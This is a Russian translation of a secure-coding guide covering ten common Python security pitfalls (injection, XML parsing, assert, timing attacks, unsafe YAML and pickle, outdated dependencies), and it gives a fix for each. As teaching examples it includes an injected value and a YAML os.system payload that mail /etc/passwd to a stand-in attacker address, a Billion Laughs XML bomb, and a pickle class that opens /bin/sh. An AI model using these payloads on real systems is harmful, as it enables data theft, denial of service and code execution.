Каких дыр в безопасности надо бояться Python-разработчику

Писать безопасный и защищённый код сложно. Когда разрабатываете то или иное ПО, вы зачастую концентрируетесь на том, как оно должно применяться. Но в контексте безопасности в первую очередь надо думать о том, как ваше ПО может быть использовано не по назначению. Python не идеален — даже в стандартных библиотеках могут быть встроены некачественные методы.

В данном материале рассмотрены наиболее частые ошибки, допускаемые при разработке приложений на Python.

1. Инъекции

Атаки с помощью инъекций имеют широкий спектр воздействия, очень распространены и существует множество их вариаций. Ни языки, ни фреймворки им не помехи.

SQL-инъекция — это атака, направленная на веб-приложение, в ходе которой конструируется SQL-выражение из пользовательского ввода, что приводит к выполнению нелегитимных с точки зрения ПО запросов к БД. Иногда ошибочно полагают, что одно лишь экранирование кавычек — решение проблемы, но на самом деле это не так. Подробнее о работе с СУБД можно почитать в нашем материале.

Командная инъекция — вид атаки, целью которой является выполнение произвольных команд в ОС сервера. Она совершается при вызове процесса через popen, subprocess, os.system когда в качестве аргументов используются значения, хранящиеся в переменных программы.

Представьте, что нужно написать функцию, чтобы перекодировать указанный видеофайл в другой формат. Спрашиваем пользователя, где найти этот файл на диске, а затем запускаем ffmpeg для конвертации. Что может пойти не так?

import subprocess

def transcode_file(request, filename):
    command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
    subprocess.call(command, shell=True)  # плохая идея!

Злоумышленник может заменить filename на  "; cat /etc/passwd | mail momshacker@domain.com или на что-то такое же опасное.

Решение

Пропускайте пользовательский ввод через встроенные инструменты используемого вами фреймворка. Не выполняйте SQL-запросы напрямую к БД, если на то нет явных причин. У большинства современных ORM есть встроенные средства защиты от различного рода инъекций.

Для пользовательского ввода используйте shlex. Он экранирует все нежелательные символы.

2. Парсинг XML

Если ваше приложение хоть как-то взаимодействует с XML-файлами, вероятно, вы используете стандартную библиотеку XML. Существуют несколько распространённых атак через XML. По большей части это DoS-атаки (совершаются с целью подрыва стабильности системы, а не похищения данных). Бóльшую опасность они представляют при парсинге внешних (т.е. непроверенных) XML-файлов. Ещё советуем ознакомиться со справочником по атакам на XML-приложения.

Атака Billion Laughs, также известная как экспоненциальное расширение XML-сущности, использует несколько вложенных уровней. Каждая сущность несколько раз ссылается на другую такую же, а окончательное её определение содержит небольшую строку. Экспоненциальное расширение приводит к нескольким гигабайтам текста и потребляет чрезмерно много оперативной памяти и процессорного времени. Ниже приведён пример такой атаки.

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Другой вид атаки использует расширение внешних сущностей. XML поддерживает ссылки на сущности из внешних URL-адресов. XML-парсер обычно запрашивает и загружает этот ресурс без каких-либо вопросов. Злоумышленник может обойти брандмауэры и получить доступ к ограниченным ресурсам, так как все запросы будут выполнены как бы из внутреннего и надёжного IP-адреса, а не извне.

Сторонние пакеты — зависимости для декодирования XML-файлов (файлы настройки или удалённые API) — ещё одна ситуация, заслуживающая внимания. Вы можете даже не подозревать, что ваши зависимости открыты для таких типов атаки.

Что происходит в Python? Модули стандартных библиотек — etree, xmlrpc, DOM — уязвимы для этих типов атак.

Решение

Используйте defusedxml в качестве замены стандартных модулей библиотеки. Это защитит от вышеперечисленных видов атак.

3. Команда assert

Не используйте команду assert для защиты от тех фрагментов кода, к которым у пользователей не должно быть доступа. Обратите внимание на простой пример ниже.

def foo(request, user):
   assert user.is_admin, "user does not have access"
   # далее защищённый код...

По умолчанию  __debug__ установлено в True. Однако на продакшене зачастую производятся оптимизации, в том числе — установка значения False для __debug__. Как следствие, ваши команды  assert не сработают и позволят злоумышленнику перейти к защищённому коду независимо от полномочий пользователя.

Решение

Используйте команду assert только для сообщения другим разработчикам об инвариантах в коде.

4. Атака по времени

Атака по времени — метод выяснения принципов работы алгоритма путём замера времени, необходимого для обработки различных значений. Атаки по времени малоэффективны при работе в удалённой сети с высокой задержкой, так как они требовательны к точности. Из-за переменной задержки, существующей во многих веб-приложениях, практически невозможно выполнить атаку по времени на серверах, работающих с протоколом HTTP.

Но если ваше приложение запрашивает пароль, например, через командную строку, то оно уязвимо к этому роду атак. Злоумышленник может написать простой скрипт для оценки времени, необходимого для сравнения введённого и хранимого секрета. Предлагаем ознакомиться с примером на GitHub.

Решение

Используйте модуль secrets.compare_digest, введённый в Python 3.5 для проверки паролей и прочих закрытых значений.

5. Захламлённая директория site-packages или путь импорта

Система импорта в Python очень гибкая. Это отлично, если вы пытаетесь писать обезьяньи патчи или изменяете часть основной функциональности. Однако, это также одна из самых больших дыр безопасности в Python.

Установка сторонних пакетов в site-packages, будь то в виртуальной среде или в глобальной папке (что, в общем-то, не поощряется), открывает потенциальные бреши в безопасности, который могут таиться в этих пакетах.

Были случаи публикации пакетов в PyPI с именами, схожими с другими популярными пакетами, которые выполняли произвольный код. Самый громкий инцидент, к счастью, не причинил вреда, но указал на то, что проблема есть и она, увы, игнорируется.

Ещё одна интересная ситуация — зависимости ваших зависимостей (и далее). В них могут содержаться уязвимости и они могут переопределять заданное поведение в Python через систему импорта.

Решение

Тщательно отбирайте и проверяйте используемые в проекте пакеты. Можете обратить внимание на сервис PyUp.io (бесплатного плана вполне достаточно). Используйте виртуальную среду тестирования для всех приложений, чтобы убедиться, что глобальная директория site-packagers будет настолько чистой, насколько это возможно. Проверяйте цифровые подписи пакетов.

6. Временные файлы

Для создания временных файлов обычно генерируется имя файла с помощью функции mktemp(), а затем создаётся сам файл со сгенерированным именем. Это небезопасно — другой процесс может создать файл с этим именем за время между вызовом функции mktemp() и последующей попыткой создания файла первым процессом. Это может привести к тому, что ваше приложение загрузит или неправильные данные или покажет другие временные файлы.

Решение

Используйте tempfile.mkstemp для генерации временных файлов.

7. Использование yaml.load

Обратимся к циатате из документации PyYAML:

Предупреждение: вызов yaml.load с любыми данными, полученными от ненадёжного источника, небезопасен. yaml.load такой же продвинутый, как и pickle.load, и может вызывать любые функции Python.

Пример ниже был найден в системе управления конфигурациями Ansible. Это значение можно было передать в Ansible Vault в виде (корректного) YAML. Оно вызывает функцию os.system() с параметрами, представленными в файле.

!!python/object/apply:os.system ["cat /etc/passwd | mail momshacker@domain.com"]

Таким образом загрузка YAML-файлов из пользовательских значений фактически оставляет дыру в безопасности.

Решение

Используйте yaml.safe.load.

8. Использование pickle

Десериализация данных через pickle — такая же опасная штука, как и YAML. Классы в Python могут объявлять магический метод под названием __reduce__, который возвращает строку или кортеж, или аргументы для вызова при использовании pickle. Злоумышленник может использовать это для включения ссылок к одному из модулей подпроцесса для выполнения произвольных команд на стороне сервера.

Этот замечательный пример показывает, как можно запаковать класс через pickle, который открывает командную оболочку в Python 2. Есть ещё много примеров того, как можно эксплуатировать pickle.

import cPickle
import subprocess
import base64

class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))

Решение

Никогда не производите десериализацию данных из ненадёжного источника с помощью pickle. Используйте другой шаблон сериализации, например, JSON.

9. Использование устаревшей среды выполнения Python

Многие POSIX-системы поставляются с Python 2 (старая версия).

Так как Python (точнее CPython) написан на C, бывают случаи, когда встроенный интерпретатор сам имеет дыры в безопасности. Общие проблемы с безопасностью в C связаны с распределением памяти и ошибками переполнения буфера.

Примечание Подробнее об этих ошибках можно почитать в нашей статье.

В CPython на протяжении многих лет имелись уязвимости, связанные с переполнением и выходом за границы буфера, но каждая была исправлена в последующих версиях. Так что всё нормально. Просто надо обновлять.

Обратите внимание на пример из версии 2.7.13 и раньше. Уязвимость, связанная с переполнением целочисленного значения, позволяла выполнять произвольный код.

Решение

Установите последнюю версию Python и не забывайте про обновления.

10. Использование устаревших сторонних библиотек

Как и среда выполнения, зависимости тоже нуждаются в обновлениях.

Существует практика закрепления тех версий пакетов с PyPI, которые «стабильно и хорошо работают». Но это не всегда хорошо. Ведь уязвимости в пакетах есть и по сей день, а разработчики их исправляют. Всё время что-то улучшается в плане безопасности.

Решение

Используйте сервисы для проверки обновлений, проводите тесты и поддерживайте пакеты в последних версиях.

Используйте инструменты вроде InSpec для проверки установленных пакетов.

Перевод статьи «10 common security gotchas in Python and how to avoid them»

Ещё интересное для вас:
Тест: какой язык программирования вам стоит выбрать для изучения?
Тест: как хорошо вы разбираетесь в Data Science?
Соревнования и бесплатная онлайн-школа для программистов